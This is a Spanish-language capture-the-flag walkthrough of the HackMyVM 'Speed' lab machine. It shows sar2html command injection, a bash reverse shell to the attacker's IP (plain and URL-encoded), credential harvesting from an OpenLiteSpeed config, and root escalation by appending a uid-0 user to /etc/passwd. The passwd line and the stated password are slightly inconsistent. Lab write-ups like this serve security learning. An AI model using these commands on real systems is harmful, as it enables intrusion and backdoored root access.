HackMyVM Speed — Linux


Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.157
.
Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.
Empezamos con un escaneo de puertos y podemos ver que tenemos 4 puertos.
Empezamos realizando un escaneo más profundo de los puertos identificados y podemos observar que para los puertos 80,7080 y 8088
son servicios web interesantes.
Ingresamos la dirección IP en el navegador y podemos observar la página de inicio de sar2html
Revisando la versión podemos ver que hay un exploit, pero es para la versión 3.2.1
Ingresando a exploit-db podemos ver que la manera de ejecutar este script es bastante fácil.
Probamos el comando, pero así a simple vista no vemos nada llamativo.
Pero al expandir select host
vemos que se agregó una nueva opción que contiene el contenido del comando.
Como podemos ejecutar comandos, probaremos estableciendo una rev-shell
y para ello primero empezaremos nuestro listener.
Ahora preparamos nuestro comando
bash -c 'bash -i >& /dev/tcp/192.168.0.109/1234 0>&1'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.109%2F1234%200%3E%261%22
Enviamos el comando y si se queda cargando la página es buena señal.
Regresamos a nuestro listener y podemos observar que ya tenemos conexión.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola.
Revisando los archivos temporales podemos ver que en opt
hay un archivo interesante llamado opelitespeed
que coincide con el servicio que está corriendo en el puerto 7080
.
Al ingresar al directorio podemos ver que tenemos un archivo llamado ols.conf
y al abrirlo podemos ver unas credenciales.
Nos dirigimos al navegador e ingresaremos las credenciales encontradas.
Ahora estamos dentro del servicio.
Buscando como explotarlo podemos ver que en exploit-db tenemos una guía de como explotar y generar una rev-shell
, pero es para la versión 5.4.11
que es superior a la nuestra y puede que también aplique para esta versión.
Antes de ello iniciamos nuestro listener.
En el navegador vamos a la ruta que nos indica y guardamos los cambios.
Por último le picamos al botón verde Graceful Restart
y aceptamos.
Regresamos a nuestro listener y podemos observar que se estableció conexión, pero ahora como nobody
y para tener una shell más estable repetimos los pasos que hicimos al momento de ganar acceso como www-data
.
Tratamos de ir a la carpeta usuario, pero vemos que no estamos como un usuario, pero si vemos los usuarios tenemos a root
y a marvin
.
Buscando archivos y maneras de como escalar, regresamos al exploit para ver si cometimos algún error y en la prueba de concepto podemos ver que no agregamos el usuario ni el grupo como lo hacen ahí.
Ya que tenemos la posibilidad de ejecutar como el usuario, probaremos tanto ejecutando los usuarios marvin
y root
, primero con marvin
y marvin
de grupo.
Luego de ejecutar con el mismo grupo podemos ver que tenemos accesos como marvin
.
Ahora probamos si podemos hacer lo mismo pero con marvin
pero perteneciendo al grupo root
.
Ejecutamos y vemos que no estamos como marvin
, pero los permisos que tenemos es como nobody
, pero sí pertenecemos al grupo root
.
Realizamos la misma prueba con root
de usuario y grupo.
En esta variación podemos ver que tenemos el mismo resultado de ser nobody
con grupo root
.
Si bien no somos root
con estos permisos podemos modificar y leer archivos root
. Con lo cual podemos modificar usuarios y agregar que sería lo más práctico al momento de escalar privilegios. Para ello primero veremos si tenemos openssl
y es así.
Primero creamos un hash usando OpenSSL para nuestro password gm4tsy
.
openssl passwd -1 gm4tsy123
y luego agregaríamos al passwd
,
echo 'gm4tsy:$1$zErgUmGH$u4TbNIM8Edq8P9X1aGyAX/:0:0:/root:/bin/bash' >> /etc/passwd
Debería verse de la siguiente manera
ahora si realizamos un su - gm4tsy
deberíamos poder acceder con permisos root
. De esta manera culminamos esta máquina.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
